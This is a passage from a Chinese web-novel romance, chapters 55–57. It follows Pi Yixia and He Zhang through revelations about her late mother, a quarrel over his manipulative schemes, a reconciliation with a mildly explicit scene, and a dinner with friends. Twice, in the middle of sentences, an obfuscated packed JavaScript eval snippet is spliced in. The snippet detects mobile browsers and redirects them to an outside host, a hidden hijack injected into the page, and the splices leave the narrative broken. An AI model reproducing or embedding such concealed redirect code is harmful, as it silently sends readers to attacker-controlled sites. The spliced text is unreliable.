贺章忍不住皱眉。 他不想再让她回忆那天的细节,但这又是必不可少的步骤,想了想道:“约明天上午吧。” “好的,我去跟王律沟通。” 电话挂断后,贺章下楼去洗澡,收拾完回来,浴室里没动静,他忍不住有点担心,敲了敲门:“夏夏,没事吧?” “没事!”皮一夏扬声,“你不要打扰我。” “……”很好,成了打扰她。 贺章无奈笑笑,转身去隔壁书房工作。 半个多小时后,皮一夏在阳台的玻璃门后探头,贺章正在开视频会议,视线扫到阳台的人,朝他招了招手。 皮一夏蹑手蹑脚地进来,指了指书架,自己去找书看。 这间书房整体是原木简约风,书架占了三面墙,一眼望去满满当当全是书,嵌入墙壁里,这么多书,难道他都看过吗,也太可怕了…… 她随手挑了一本,窝到对面的沙发里看,不知不觉看进去了,连贺章什时候结束会议都没发现。 他走到沙发前,合上她手里的书,塞回书架上。 “欸欸,我忘了看第几页了,你让我做个记号啊……” 皮一夏要去拿,被他按了回来,两手撑着扶手,将她圈在沙发里。 “怎么洗这么久?” “也没有很久吧……”她有点不好意思,手臂伸到他鼻子前,“你闻闻,香吗?” “香。”贺章握住亲了一下。 “都没有闻……” 话音未落就被人扯到怀里,横抱起来,皮一夏搂住他脖子,凑到耳边小声说:“我脚不疼了。” 暗示的意味很明显。黑色吊带睡裙很明显。 贺章不动声色地瞥了一眼,抱着人回到卧室,塞进被子里,随后躺进来抱住。 “睡吧。”他说。 皮一夏眉头慢慢皱了起来,想翻身,却被拦在小腹的手臂困住了。 “为什么啊?” 贺章在她颈后亲了亲:“过了明天。” 她不满地噘嘴:“你是不是对我没兴趣了?” 是故意这么说的。她能感受到身后的力量,甚至还坏心眼地摸到后腰,想去逗他,被他一把攥住,送回了身前。 “哼!不来就不来!” 谁稀罕。 贺章低笑一声:“不是想知道,我从什么时候认识你的?” “哦,对。”她立刻被转移了注意力,“到底怎么回事啊?” 55. 坏蛋 “我曾听你妈妈说过你,也在无意间,见过你的照片。”贺章说。 “我妈妈?怎么会……”皮一夏愣了愣,声音猛然一顿,忙翻过身来,紧盯着他眼睛,“贺家……我妈妈在你家工作过?!” 她工作的第一年,小辰也考上了大学,妈妈原本在杭州做保姆,因为雇主要出国,不得不辞掉工作,后来经相熟的人介绍,听说北京的工资更高,正好两个孩子都在,便也来了北京,并很快找到工作,在二环里的贺家做保姆。 当时她住在天通苑,妈妈在牛街附近租了一间小平房,两人离得太远,她周末要兼职,妈妈也不爱请假,所以见面的频率并不高,一两个月里,会去妈妈的房子里住一天。 她只知道妈妈在很有钱的贺家工作,却从来没想过,跟华森集团有什么联系。 贺章笑着点头:“不错。陈姨做菜很好,我第一次听说姜汁调蛋,就是她做的。” 原来,还有这种交集。 在妈妈离开的第三年,还能从喜欢的人口中,找到她存在的痕迹,皮一夏内心百感交集,眼眶也热了起来。 “那你是怎么知道我的呢?” “一个很偶然的机会。” 三年前,他因格斗受伤休假,又因疫情管控,滞留在国内那三个月,偶尔回家陪父母吃饭,认识了陈姨。 直到现在,他也不知那位沉默寡言的妇人叫什么名字,只是随父母唤她一声陈姨。 某天从外面回来,看见她靠在大门外的墙上,弓着腰背,表情很痛苦。他要送她去医院,陈姨说是老毛病,歇一歇就好了,当天是周六,她请了假,赶着回家给闺女做饭。 他提出送她回家,陈姨再次拒绝,说不敢麻烦,坐公交就行。但她脸色苍白,显然难受得厉害,他不由分说扶她上了车。 原本要去医院的,半路上她好了很多,坚持要回家,他便没有再劝。 忘了是什么契机,两人闲聊了几句,提到她闺女,一向沉默寡言的妇人,竟罕见地充满活力、滔滔不绝。 那一路上,他知道了陈姨的闺女叫夏夏。 夏夏很懂事,从小就帮着照顾家里、照顾弟弟。 夏夏成绩很好,学习没让人操过一点心,自己知道上进,出了车祸,腿上缝了十针,第二天照样坚持去学校,她考试没有掉出过全校前三名,每个老师都夸,说以后是要上清华北大的。 夏夏在大公司工作,很得领导器重。 夏夏喜欢吃姜汁调蛋,可惜,很少有机会亲手给她做饭吃。 …… 目的地到了,他在小区门口停下车,原本以他的性情,这件事到此就为止了。那天不知出于什么心理,他竟然下车,送陈姨回到了家里。 那房子几乎不能称之为家,只能算是临时睡觉的居所。 一条窄窄的石板小路,两边都是低矮的平房,窗户很高也很小,屋里阴暗潮湿,只有一张大床,一张桌子,做饭的工具都摆在桌角,还有两个小圆凳、一个洗脸盆。 他没有多留,转身离开前,看到了墙上挂的两个相框。 一个长得很乖巧的女孩子,长发披肩,穿着黑色学士服,站在花树底下,笑得很灿烂。另外一张,是陈姨和女孩的合照。 他想,这应该就是夏夏。 之后不久,就在保利剧院旁的咖啡厅见到了真人。 这就是他们故事的缘起。 “夏夏,你妈妈很爱你。” 皮一夏泪流满面:“我知道。但我却不够关心她。” 每次见面,只顾倾诉自己工作上的事,连妈妈的雇主是什么人都不清楚,甚至后来,妈妈肚子疼到昏倒,被人送到医院,才知道她生了治不好的病。 贺章将她搂到怀里,轻轻拍着:“你做的很好了。” “Ethan。”她默默流了会儿泪,轻声叫他。 “嗯。” “谢谢你告诉我这些。妈妈一定知道,我很想她,所以去求上帝,把你送到了我身边。” 贺章缓缓抚摸着她的头发:“改天我陪你去看她。” 皮一夏点了点头,忽然又想到一个问题:“你早就知道我在华森上班吗?在云溪庄园,你叫我‘皮小姐’。” 贺章笑了笑:“也不是很早。在巴塞罗那的酒店,你曾经把工作牌从包里掏出来,我无意间看见了。” “……”原来如此。 “明天,我陪你去清华?”贺章说。 “好。”她转念一想,又摇头,“可是明天周六,我得打理花园。” “回来再做,或者明天。” “可是……” “我是老板,我说了算。”贺章断然道。 总这么不好好干活,她都有点不好意思了,但……既然他要放水,她只好坦然摸鱼了。 “好的,老板!” 第二天上午,吃完早饭后,王律来询问案情细节,如贺章所料,和律师聊完,皮一夏心情变得很不好。 去清华的路上,贺章不断找话题逗她,开到半路,她的情绪终于有所缓和。 路过一个加油站,贺章去加油,皮一夏看见旁边有个零食干果店,就下车去给小辰买干果。 买完出来,贺章刚好加满了油,皮一夏坐进车里,脸色又开始不好看了。 贺章问:“怎么了?跟人吵架了?”虎着脸,气呼呼的。 皮一夏转头,盯着他说:“我在干果店见到一个熟人,你猜是谁?” “谁?” “桂叔。”她幽幽道。 贺章神色一顿。 皮一夏恨恨打了他一巴掌,嚷道:“你给桂叔放大假,就是为了骗我去你家做花匠?!” 刚才看见桂叔在干果店做理货员,她很奇怪,放着高薪的园艺工作不做,跑来做理货员,这是什么道理? 在她的追问之下,桂叔吞吞吐吐说,是老板觉得他工作辛苦,主动给了他带薪假期,顺带附赠研学旅行。旅行回来,他闲着发慌,干脆就在家附近找了个短期工作,打算先干着,等假期结束。 “你怎么那么坏啊!”皮一夏打了一巴掌还不解气,又抓住他手臂咬了一口,“亏我还觉得你人好,不计较我在巴塞罗那做错事,还让我有工资拿……原来都是你的圈套!!” 贺章尴尬地咳了一声,握住她的手:“夏夏……” 皮一夏气咻咻甩开他:“你别叫我夏夏!” 完了,这气生大发了。 “你听我解释。”贺章难得说话没有底气。 皮一夏环抱手臂,怒瞪着他:“你解释吧!” “……”他还真没什么好解释的。 “你说啊!” 贺章将车开到路边停下,侧身看向她,挠了挠额角:“你看,咱们工作都很忙,如果我不制造机会,多和你接触,你几时才能不怕我,又要多久才能喜欢上我呢?” 他的语气还算诚恳,说得也是事实,皮一夏稍微消了点气,但还是很气! “一开始谁说要喜欢你了!你不经过我同意耍手段,就是很讨厌!” 经过你同意,还怎么耍手段…… 她气得双颊微红,眼睛更亮了,像一只被激怒的小野猫,正踅摸时机准备扑上来挠他。 贺章握拳抵唇,掩饰嘴边的笑意。 “你还笑!”她发现了。 贺章连忙摆正了姿态,拖过她的手攥住:“别生气了……我错了。你说怎么罚,我认罚,行吗?” 皮一夏甩不开他,只好任由他攥着手:“你说的?” “我说的。”他神色坚定。 皮一夏睨着他,终于松了口:“我要想想,怎么惩罚你。” 暂时过关了。 到清华的时候,不到十一点半,约好了在校内的餐厅见面,皮一辰和梁栋先到,点上菜之后,等了不多久,贺章和皮一夏就到了。 一见面,皮一辰就拉着她上下打量:“姐,你有没有被那混蛋伤到哪?” “没有。”皮一夏柔声安抚,“就是被他拐跑一会儿,很快就被警察找到了,没受伤,放心吧。” 皮一辰恨恨骂了几句。两人又聊起成涛这案子的进展,一旁的贺章正在给皮一夏杯子里添水。 皮一辰见状有点蒙了。虽然他已经猜到了贺章和姐姐的关系,但亲眼见到自己的偶像,如此平易近人的一面,即便不是对他,也让他产生一种受宠若惊的感觉。 第一次吃饭时那种激动又紧张的感觉又来了。 “您好……Ethan。”皮一辰不大利索地打了个招呼。 贺章“嗯”了一声:“你姐姐没事,你专心学习。” “好、好的。” 梁栋见姐弟两个聊完了,才和皮一夏打招呼:“皮皮,你没事就好,那天接到贺先生电话,我真是吓得不轻。” 月余再见,皮一夏对梁栋仍有愧疚,转念她又想,这种心态其实不对。梁栋人这么好,一定会找到真正属于他的好女孩,她不应该太把自己当回事,这对梁栋也不尊重。 想至此处,她笑了笑:“对不住了,还有,谢谢你啊栋哥,多亏有你帮忙。” 这话说得客气,带着有意无意的疏离。 梁栋知道,她已经彻底路过了他。 沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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「上个月我接到贺章的电话,问那车玫瑰花的事,我还纳闷呢,他一大老板,管的是不是太宽了。现在我总算知道了,你们是背着我早就搞到一起了啊?!那他妈干嘛告诉我你在餐厅吃饭,有病?!哦,你又背着他找别人,丫把我当枪使去搅局?我全明白了……大爷的,你给我接电话我要骂死你!」 贺章还没看完,孙向前的电话打过来了,皮一夏直接挂断,再次拉黑。 车子已经停到车库,皮一夏气冲冲下车,恨恨地甩上车门就走。 贺章急忙大步追上,拉住她手:“夏夏。” “你别叫我!”皮一夏转头朝他喊了一声。 这一声出口,她也才意识到,是真的生了贺章的气,不是像在干果店发现桂叔时一样,那会儿虽然也生气,但隐约还有点窃喜,毕竟他做那些,是为了和她有机会相处,也没有影响到其他人。 孙向前这事的性质不一样。 贺章怎么可以,为了打断她和梁栋的约会,故意让孙向前来搅局? 梁栋和孙向前打架,她真是吓死了,大晚上的又是劝架又是跑警局,最后还对贺章感恩戴德,谢谢他把梁栋捞出来,原来根本都是他下的套! 万一梁栋和孙向前真打出事了呢? 退一步讲,贺章怎么可以如此干涉别人的人生? “你怎么这么霸道!你天生什么都有,就该什么都是你的吗?”皮一夏怒气冲冲地质问,“如果当时你没有插手,我和梁栋也许会走到一起……” 她这话只是客观陈述另一种被强行遏制的可能性,指责贺章独断专行,并没有其他意思,但听在贺章耳朵里,却是皮一夏对梁栋还有旧情,于是忍不住板了脸,沉声说:“你和梁栋不合适。不准再说这句话。” 他语气冷冽,听得皮一夏火冒三丈。自己做错了事,还敢这么嚣张,她气得眼都红了。 “合不合适不是你说了算!我凭什么要听你的!你这个专制独裁不讲理的坏蛋!” 贺章扯着她手,一把将人拉到怀里,狠狠吻住她的嘴。 这张可恨的,让他生气又不安的嘴! 皮一夏拼命挣扎起来,她手腕上的伤刚好,贺章不敢太用力,被她轻松挣开了。 “我不要你了!”皮一夏炸毛地喊了一嗓子,转身就跑出了车库。 贺章大步追出来:“夏夏!” 皮一夏边往大门方向跑,边转头朝他吼:“不许跟着我!” 56. [锁] [此章节已锁] 皮一夏回了佳华小区。 贺章给她打了好几个视频,都被挂了。最后他发了一条微信:「别给人开门,等我过去。」 哼!谁要等他! 皮一夏恨恨地在沙发上扑腾,气贺章气得要死,一心想着这辈子都不理他了。 她要立刻从他家搬出来! 十二点到了,灰姑娘该清醒了。她根本玩不过贺章,那个一肚子心眼、随意摆布别人人生的家伙! 有人敲门,皮一夏心头猛地跳了下,有点应激地从沙发上爬起来,紧张地盯着门后。 微信弹出消息,是贺章的。 「我可以进去吗?」 她恶狠狠地回:「不可以!」 敲门声没再响起。 总算他还有点风度! 过了一会儿,贺章又发来一条:「夏夏,开门,让我当面和你解释。」 皮一下很开心:「没什么好解释的!我不要你了!」 她忍不住拎起一个抱枕砸向房门,结果力气太小,没丢到门上,半路掉地上了。 气得又躺沙发上了。 脑子里乱糟糟的,竟然睡了过去。再醒来时天都快黑了,拿起手机看了眼,五点半,贺章没有再发消息来。 皮一夏更生气了。 呆坐片刻,又开始心慌。他不会真不解释了,决定如她所愿,和她分手吧? 一想到这个可能,皮一夏又气又恨又委屈,克制了一会儿,没克制住,换上鞋子打算先出去。 找不找他再说,总之不要待在家里,还是想离他近一点。 她可真没出息,被人骗了好几场,还是忍不住想他。 皮一夏默默掉了两眼泪,一开门,贺章竟然靠在墙上。 “你怎么还在?!”说不清是诧异还是惊喜更多。 贺章神色有几分颓丧:“等你听我解释。” 皮一夏有点心软,咬了咬牙,忍住了,面无表情走出来,锁好门,往电梯走。 贺章跟在后面进了电梯。 “夏夏。”他开口叫她。 “我不想听!”皮一夏气恼地打断。 贺章就不说话了。 其实她还没想好去哪,但无论去哪,贺章都跟在一旁,她感觉气消了一些。 小区旁边有一家永辉超市,皮一夏溜达进去,看见一层摆着几台抓娃娃机,就兑了一些硬币玩。 花了三十块,一个娃娃也没抓到,于是又开始生气。 贺章安静地站在一旁看着。 她对着机器里的半柜子娃娃,生了一会儿闷气,扭头就走,冷不丁被贺章拖住了手。 “你干嘛?”她不客气地问。 “抓娃娃。”贺章盯着她说。 皮一夏莫名其妙:“你去抓啊……”难不成还要她来换钱给他玩! 贺章默了默:“已经抓到了。”最大的一个娃娃。 皮一夏愣了两秒,忽然就忍不住笑了。 这是什么鬼笑话! 她为自己不争气的发笑感到懊恼,于是气得踢了贺章一脚,被他捉过去搂在怀里。 “夏夏,别生气了,和我回家吧。”他摸着她的头发,轻声哄道。 皮一夏忍不住红了眼圈,仰头瞪他,眼皮一眨,泪珠就翻滚下来。 贺章有点慌神,两手帮她擦着泪:“怎么自己哭了,应该惩罚我,我认罚,好不好?” 她哭得更凶了,搂住他的腰,眼泪鼻涕全蹭他身上,两手握成拳捶他的背。 贺章一边轻轻拍她,一边亲她的头顶:“回家好不好?这里人来人往……” 皮一夏身体一僵,眼神左右瞟了瞟,来往的路人都在看他们,她尴尬极了,丢下他就往超市出口走。 贺章加快脚步赶上来,牵起她的手。 一路溜达回小区,找到他的车,贺章打开副驾的门,看着她。皮一夏噘了会儿嘴,到底还是坐进去了。 回别墅的路上,两人都没说话。贺章一开口,就被她“哼”声打断,扭头不看他。 他有点无奈,却也不敢说什么。 在车库停好车,皮一夏又想起两人刚才在这吵过架,气恼的感觉卷土重来,她恨恨地往外走。 贺章三步并两步走过来,一把将她横抱起来。 “你干嘛,放我下来!”她在他怀里扑腾。 贺章不肯放人:“你今天走了这么多路,脚疼不疼?伤才刚好,要量力而行。” 他一对她好,她就心软得不知道该怎么办了,任他抱回客厅沙发,坐在他腿上。 贺章盯着她低垂的眉眼,缓缓道:“夏夏,餐厅那事,我向你道歉。那天听林献说,梁栋来找你,我知道,你对他有好感,如果他向你表明心意,我就一点机会也没了,不瞒你说,我很慌,从来没那么慌过……所以,我用了不磊落的手段,阻止你们进一步发展。” “你也知道不磊落!”皮一夏恨恨地打他。 贺章抓住她的手,亲了亲手心:“我知道这样不对,事实上,也不符合我一贯的行事风格,但如果时间倒流,再来一次,我还是会这样做,因为我绝不接受,你成为别人的女朋友。” 他一向自信从容,这会儿却是少见的低姿态,皮一夏有点不忍心。 “如果孙向前没来呢?你知不知道,我那天约梁栋,就是要……” 贺章突然吻住了她,气息不稳地,慌乱地含住了她的嘴,几秒之后放开,低声在她唇边呢喃:“别说这话。” 仿佛说出来就会成真,仿佛他们的关系还会发生变化。 皮一夏心里一软,就想放过他:“你应该和梁栋道歉,和孙向前道歉……孙向前就算了。”她语气一顿,又道,“梁栋、也算了,别再去招惹人家了……” 贺章紧紧盯着她,像在等一个判决结果。 皮一夏沉默片刻,搂住了他:“Ethan。” “嗯。” “当时的你做错了,此刻的我,没办法替当时的我原谅你,但我可以代她记着这笔账,你以后,不准再骗我耍我,不然,我新仇旧恨一起跟你算!” 皮一夏捶他的胸膛,力气不算小,贺章生受了,还笑起来,将她紧紧箍在怀里。 “不骗你了,再也不会了。” 他的心终于落回胸腔,踏实了。 过了会儿,皮一夏忽然揪住他耳朵,凑过去小声说:“Ethan,我现在很幸福,还有,我爱你……很爱很爱你。” 贺章屏着呼吸,喉结重重滚动,掰过她的脸果断吻住了。 “你真是……要命。” 他低声呢喃,混乱的呼吸扑在她的脸上、耳边,还有脖颈。 皮一夏被他折腾得全身起燥,突然又被抱了起来,往楼上走去。 …… “那个那个……”她推着他提醒,“是不是没买?” 贺章动作停了停,抽开床头柜,从里面取出一盒。 “什么时候准备的?”她脸色酡红,瞳中染上讶异。 贺章匆匆收拾好自己,低笑着:“早就准备了。一箱子。” “你这个……”皮一夏张口结舌,“荒唐!!荒唐的男人……” 话音落,难耐的呻吟被他吞进了口中,皮一夏呼吸渐促,两手攥紧床单,有一瞬间仿佛灵魂升天,整个人轻飘飘地浮在空中,转瞬又被拖回海面,凶猛的浪花翻卷着将她抛上抛下,她搂住上方的人,像搂住了唯一的救生木。 贺章已杀红了眼,只想狠狠地惩罚她,听她哀泣求饶,一再保证不会离开他,下午的吵架,都是她胡言乱语,怎么可能不要他。 心脏停跳的时刻,皮一夏双目失焦,听他在耳边说了句:“夏夏,我爱你。” 时间过去很久,呼吸渐渐平复,皮一夏趴在贺章怀里,挠着他胸膛问:“你说实话,在巴塞罗那,真的不是第一次?” 贺章闷笑一声,低语:“别信我。” “你当时太粗鲁了!” “很疼?” 他的手探向下方,皮一夏控制不住地哆嗦,时隔数月的委屈涌上来:“你说呢!” 贺章缓缓揉动着,温热的唇落在额角。 “在水里那次,我想还是发挥了正常水平的。如果你允许,第三次我会表现得更好。” “你拿我练手呢!” “成果如何?我是说,这一次。” 想起刚刚的尖叫放浪口不择言,皮一夏脸红了,拎起被子蒙过头顶,闷声说:“还有进步空间。” 贺章笑着将人捉出来,危险的声音说:“那就再练一次吧。” 这一晚,皮一夏梦见自己变成了一条鱼,摊在平底锅里,被人翻来覆去烤得四面金黄。 一夜酣眠过后,第二天醒来,皮一夏身上有点酸,盯着天花板上的灯,出神了好一会儿才清醒。 摸过手机看了眼,已经九点五十了。 贺章不在,大概已经晨跑结束,连早餐都吃完了,正在书房工作。 自律到可怕的男人,这个时候都不肯陪她多睡一会儿! 皮一夏挂着脸,生起床气。忽然收到一条微信,是苏苏发来的语音:「皮皮,我在上海发现了一个很好吃的吐司,一会儿给你带过去。」 苏苏回来了? 她打字问:「你要来找我吗?」 苏苏:「对呀。我昨晚回来的,刚刚Ethan邀请我哥去吃饭,他说一会儿来接我,你怎么都不知道?」 ……因为刚睡醒。 皮一夏对着手机发蒙,忽听门响,抬眼就见贺章走了进来。 “睡醒了?” 他穿着蓝灰色运动休闲套装,精神奕奕,走到床边坐下,凑过来要亲。 皮一夏忙捂住嘴,贺章不满地拿开,坚持贴了贴她的唇:“起床吃早餐?” “你请了褚彦和苏苏来吃饭吗?” 贺章点头:“褚彦在回购股份这事上出了力,表达一下感谢,原本还想叫林献过来,想想,还是算了。” “为什么?”皮一夏不解。 贺章挑眉揶揄:“有人跟我说过,‘哪个打工人,大周末还想对着老板的脸啊’……所以就包了个红包,放过他了。” 皮一夏抿唇笑起来:“你怎么这么记仇啊!都多久的事了……” “和你相关的,我都记得。” 她抬手勾住他脖子:“抱我去洗漱。” “遵命。” 上午十一点,贺章在厨房做饭,皮一夏在旁边坐着和Oliver玩,褚彦和苏晨雪过来了。 褚彦拎着一瓶红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859676|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒和两样甜点,还有苏晨雪在上海买的吐司面包,皮一夏接过来,放在琉璃台上,请他们吃洗好的水果。 褚彦随手叉了一块芒果,冲贺章抬了抬下巴,问她:“姓贺的给你惹了那么大麻烦,有没有狠狠惩罚他?” 贺章停下翻牛排的手,瞥了褚彦一眼:“找事?” 皮一夏抿嘴笑笑,拉上苏晨雪去庭院里逛。 “苏苏,你和褚彦,到底怎么样了呀?”背着人时,皮一夏小声问。 苏晨雪下意识朝屋子方向看,有点苦恼:“我不知道。前一段时间,舅妈让我去和一个男生吃饭,我哥很生气,故意过来捣乱……我拿不准他的心思,他可能只是把我当妹妹,觉得那个男生不合格吧……” 皮一夏懂苏苏这种心理。 在她和贺章相处的前期,也是这样揣摩他的心思,解读他的每一个行为,不敢贸然行动,生怕是自作多情。 皮一夏心念一动:“那我帮你试一试他,好不好?” “怎么试?” “你还记得,上次有个搭讪我的男生吧,不是加了你工作室的微信吗?” “记得,他怎么了?”苏晨雪一脸困惑。 “一会儿你配合就是了。”皮一夏神秘兮兮地笑。 快十二点时,饭菜都做好了,四人在餐桌上落座,边吃边聊天,皮一夏忽然说:“苏苏,上次加你微信那个男生,聊得还好吧?” 苏晨雪一愣,下意识看褚彦,有点尴尬地说:“还、还好。” 褚彦满脸错愕:“什么男生?” 皮一夏随口道:“就上次,我们出去吃饭,有个男生过来加了苏苏微信,长得还挺帅的。” “什么时候?我怎么不知道?”褚彦拧着眉头。 一向言笑晏晏风度翩翩的人,此刻显得有几分愚鲁。 皮一夏不理会,只道:“我们姐妹吃饭,你又不是每次都在场。”说着又去看苏晨雪,“那他有约你出来过吗?” 苏晨雪有点傻眼。 该说有,还是没有呢?她盯着好姐妹的眼神,咽了咽口水,试探着说:“……约了。” 褚彦大为震惊:“你们还约会了?!” 皮一夏内心憋笑,一脸正经。贺章剥了一个虾,放到她碗里,云淡风轻地围观自家女朋友整蛊傻子。 “那就好,你性子太慢热了,要多见见才好。既然人家约过你了,礼尚往来,你也该回请一次。要不这样吧,咱们再去一次温泉,你叫上他一起,我帮你掌掌眼……” “不准去!”异口同声的两道嗓音。 惊得两个女生同时懵怔转头。 贺章脸色不悦:“去什么温泉。要约会,在外面吃饭就好了。” 褚彦难得和他统一战线:“就是!皮皮你少出歪主意,谁知道那男生人品好不好,你们两个女生,手无缚鸡之力的,被人欺负了怎么办?!吃饭也不行!万一给你下什么迷药,不行不行……总之不能见!” 皮一夏张了张嘴,忘了要说什么,转头和苏晨雪对视一眼。你哥这意思,挺明显的了吧? 四人各怀心思,沉默片刻,又都开始吃饭,谁也不说话了。 过了一会儿,贺章突然开口,闲聊的语气:“想不想听听,褚彦上学时的风雅逸事?” 皮一夏立刻举手:“想想想!” 苏晨雪默默地看了贺章一眼,一言不发。 褚彦急忙道:“姓贺的你别胡说八道,我哪有什么风雅逸事……晨晨,你别听他瞎说啊,哥一向洁身自好,从来没招惹过什么女人。” “哦?我怎么记得,你在詹姆斯教授的个人收藏展上,和一位女士相谈甚欢,还互留了电话……” 苏晨雪猛然抬头,眼中闪过受伤的神色。 “晨晨你别信他……”褚彦手足无措,转头瞪贺章,“你就这么恩将仇报是吧!” 他话还没说完,苏晨雪放下筷子,扯了扯嘴角说:“皮皮,我还有事,先走了。” 说着拿起手机,就走了。 “苏苏!”皮一夏起身要追,被贺章扯住了手。 褚彦气得炸毛:“姓贺的,我要再帮你我就是狗!”说完拎起苏晨雪的背包追了出去。 好好的一顿饭,吃了一半,人也走了一半。 皮一夏气得打贺章:“你干嘛要提这些,刺激苏苏?!” 贺章又剥了个虾,放到她碗里:“我刺激的明明是褚彦。” “……??” 皮一夏皱眉想了想,有点明白了。 当初,褚彦在花园里提起贺章和那位Jessica,她虽然心里酸的厉害,但想来,当时他也不好受,所以才陪她一起去温泉酒店。 “你真是太坏了。”皮一夏还是有点恼,“苏苏可没我皮实,她吃醋了,会生气很久的!” “正好。让褚彦吃点苦头。” 皮一夏为这人的睚眦必报无语了一会儿,忽然想起件事:“我听说,之前有个千金小姐把Oliver偷出去遛,你生气了,把人家发配到非洲挖石油!” “噗!”贺章忍不住闷咳起来。 皮一夏忙抽了张纸巾给他。贺章咳了几声,平静下来,盯着她眼睛说:“你听到的版本是这样?” 皮一夏愣了:“不然呢?” 57. 终章 “还有别的版本吗?”皮一夏追问。 贺章面无表情:“我只知道,那次Oliver跟我出门,看见一个女生牵的狗,是个母的小博美,头上戴着蝴蝶结,Oliver扑上去把人家蝴蝶结咬坏了……为表歉意,我让人送了点东西到她家。” “什么东西?” “一条狗绳,一袋狗粮。” “就这样?” “就这样。” “那怎么会有那么离谱的传言?说你搅黄了人家一个十多亿的大单,那女生的爸爸知道自己女儿办了错事,就把她连夜送出国了……” 贺章默了默:“我哪里知道。” 贺章问她是从哪里听的,皮一夏说是苏苏讲的,那么苏苏又是听谁说的?褚彦……贺章面无表情:“他嘴里能有几句正经话。” 皮一夏睨着他:“不会这个版本才是你编的吧?” “我编这做什么?” “好吧。”她暂时接受这个说法,“但你还是睚眦必报!要是苏苏跟褚彦出了问题,我跟你没完!” 贺章凑过去亲她一下,笑着说:“什么都不做,才是问题。褚彦在他妹妹面前,就是个傻子。” “哼,比你一肚子坏水强!” 贺章忽然将她抱起来就走。 “你干嘛?我还没吃饱!” “你说我一肚子坏水,”贺章低声在她耳边说,“我总不能枉担虚名,只好让你感受感受。” “……” 冬至那天,是贺章的生日。 皮一夏想了一个月,该给他送什么礼物,腰带、衬衫、手表、香水……能想的都想过了,但感觉都没什么新意。 毕竟贺章的衣帽间,就是一个小型的买手店,还都是奢牌,他不缺这些东西。 最后她决定,亲手给他做个蛋糕,再整一顿烛光晚餐,简简单单的吧。 那天是周五,她下午出席了一场片单发布会,结束是五点,往会场外走的路上,给贺章发微信:「你几点落地呀?」 华森和银丰资本签订回购协议后,褚彦选入集团董事会,并逐渐淡出文娱集团的管理,更多地交给祁山来负责,贺章开始将大半精力放到内部整顿上,在苏瑾荣的周旋之下,蒋鸿退出一线管理,贺章又接连处理了三个尸位素餐的高管,华森集团迎来新团队领导下的新局面。 贺章这一周都在出差,每天飞不同的城市,洽谈合作,或者参加高层论坛、峰会,忙得脚不沾地。 皮一夏也很忙,忙着开会、出席活动、接受采访,或者陪老板出差……有时候一天都顾不上跟贺章说一句话。 今天这场发布会结束之后,她可以阶段性地喘口气,和一周没见的男朋友谈谈恋爱了。 想着,嘴角忍不住翘了起来。 一旁的张宝静八卦兮兮地探头:“皮皮姐,想贺总呢?” 被人猜中心思,皮一夏有点尴尬,佯怒说:“大宝,你也是管理一个部门的人了,能不能不要每天那么八卦?” 上周,张宝静在部门竞聘中胜出,升任为宣传部总监,虽然性格还是这么不着调,但她对待工作一向认真,皮一夏也就是开开玩笑。 张宝静并不当真,仍然笑嘻嘻地,一边回复工作消息,一边说:“没有八卦的人生多无聊……不过说起来,咱们贺总啥时候求婚啊?”她说着说着,把自己给说激动了,啊啊啊叫了一声,“表白的时候那么高调,求婚那得是啥样啊!” 皮一夏被她挑得心思一动。 贺章会求婚吗?之前他在采访里说过,会在合适的时候,问一问她的意见。如果他问,她当然没有意见,但想到结婚,又不能不紧张。眼下他们的相处就很好,她不太敢想下一个阶段。 不过这都是以后的事,眼下,还是先给他过生日吧。 晚上九点半,贺章落地首都国际机场,一开机,微信里弹出不少消息,他逐个回复过去,最后一条是十分钟前的。 「贺先生,您的女朋友在T3出口,请在落地后尽快来认领。」 贺章忍不住笑了:「等我。」 身旁随行的还有林献,和集团CFO秦鸣。贺章收起手机,朝两人道:“你们各自回,我先走了。” 秦鸣有点懵。 这怎么,都是去同一个出口的,还有先走这一说啊?走得大步流星,跟被人追债似的。 林献微微一笑:“贺总应该有急事要处理。” 或者有等不及要见的人。 夜色深浓,街灯洒下昏黄的光,吉普车在宽阔的马路上飞驰,车内驾驶座中间的搁板上,大手包小手。 皮一夏怨念道:“你怎么老是把我包起来呀,我动都动不了。” “动什么动,就在我手里待着。”贺章牵唇一笑,抬起她手腕亲了亲,“想我吗?” 皮一夏扭头看车窗:“不想。” 车窗上映着一张笑脸,贺章扫了眼,低哼一声:“有你说真话的时候。” “……” 十点半,两人回到别墅里。 刚放稳行李,贺章就把她捞过来挂身上,亲得气喘吁吁,差点在客厅里擦枪走火。 皮一夏还有正事要办,勉力推开了他:“你先去洗澡,我炒两个菜就好,给你过生日。” 贺章虽然不满,却也没再坚持,收拾了几件换洗衣物,就在一楼的卫生间洗漱。 皮一夏跑去厨房,先把冰箱里的蛋糕端出来。 这是她照着教程,试了两次才做出来的。约么十寸大,淡黄色和白色奶油胚体上,坐着一只粉色小熊,丑萌丑萌的,小熊周围是黄色奶油裱花和几种水果。 Oliver扒着岛台想上来,皮一夏笑斥:“不许给我搞破坏!” 她已经准备了三个菜,贡椒牦牛舌和三文鱼蔬菜卷都是凉拌,炖好的排骨在锅里保温,再炒两个青菜就行了。 贺章从卫生间出来时,蛋糕和饭菜刚好全部端上桌,蜡烛点上了,红酒也摆好了,皮一夏兴冲冲关掉客厅的灯,只剩餐桌这边昏黄却温馨的光。 “不嫌麻烦?”贺章笑着走过去。 他从中学开始就不过生日了,每年这个日子,都是普普通通的过,常常忘记是生日,但被人特意记住的感觉,还不错。 “给我男朋友过生日,怎么会麻烦呢?” 